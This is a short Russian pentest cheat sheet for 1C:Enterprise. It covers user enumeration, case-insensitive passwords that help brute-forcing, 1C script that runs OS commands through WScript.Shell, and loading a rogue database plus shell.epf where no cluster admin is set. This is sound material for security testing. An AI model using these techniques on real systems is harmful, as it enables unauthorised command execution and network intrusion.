1C

Что нужно знать, при пентесте 1С

  • Иногда там выдаются имена пользователей (если включено) в автодополнении, либо можно попробовать обратиться на /ru_RU/e1cib/users.

  • Пароли из коробки не чувствительны к регистру. "Пароль" и "пАрОль" - одно и тоже, что уменьшает количество для брута (особенно классно вместе с предыдущим пунктом).

  • Внутри часто есть выполнение произвольного кода.

Если в 1С включено интерактивное открытие внешних отчетов и обработок, то достаточно тыкнуть Файл => Открыть и загрузить консоль запросов для управляемого приложения с разширением epf.

В консоле же легко выполнять произвольные команды и выводить их с помощью функции "Сообщить".

Например:

СисИнфо = Новый СистемнаяИнформация;
Shell = Новый COMОбъект("WScript.Shell");
UserDir = Shell.ExpandEnvironmentStrings("%USERPROFILE%"); 
Сообщить(СисИнфо.ВерсияОС+" "+СисИнфо.ТипПлатформы+Символы.ПС+Символы.ПС+СисИнфо.Процессор+", RAM: "+СисИнфо.ОперативнаяПамять+" МБ"+Символы.ПС);
Сообщить("Каталог 1с: " + КаталогПрограммы());
Сообщить("Пользователь: "+UserDir);
Тасклист=Shell.Exec("tasklist /v");
Сообщить(Тасклист.StdOut.ReadAll());

Дальше уже можно загружать внешние сценарии, повышать привилегии (скорее всего уже будет админ) и распространяться по сети.

Еще пример test.epf скрипта

&НаСервере
Процедура ДействиеВыполнитьНаСервере()
	Попытка
		Shellexec = Новый COMОбъект("WScript.Shell");
		Shellexec.Exec("powershell whoami");
	Исключение
    	Сообщить("Error!");
	КонецПопытки;
КонецПроцедуры

&НаКлиенте
Процедура ДействиеВыполнить(Команда)
	ДействиеВыполнитьНаСервере();
КонецПроцедуры

Администратор кластера на сервере 1C

Если на сервере 1C отсутстует администратор кластера, то такая конфигурация позоляет, подключившись к серверу 1C, добавить собственную БД кластер 1C и вывполнить произвольный код на сервере 1C.

Для проверки лезем в Console Root\Central 1C:Enterprise XX servers\Some IP\Кластеры\Имя кластера\Администраторы

Если там пусто, то в враздел Информационные базы добавляем свою базу и загружаем внешнюю обработку (shell.epf) 1С для выполнения кода на сервере:

Last updated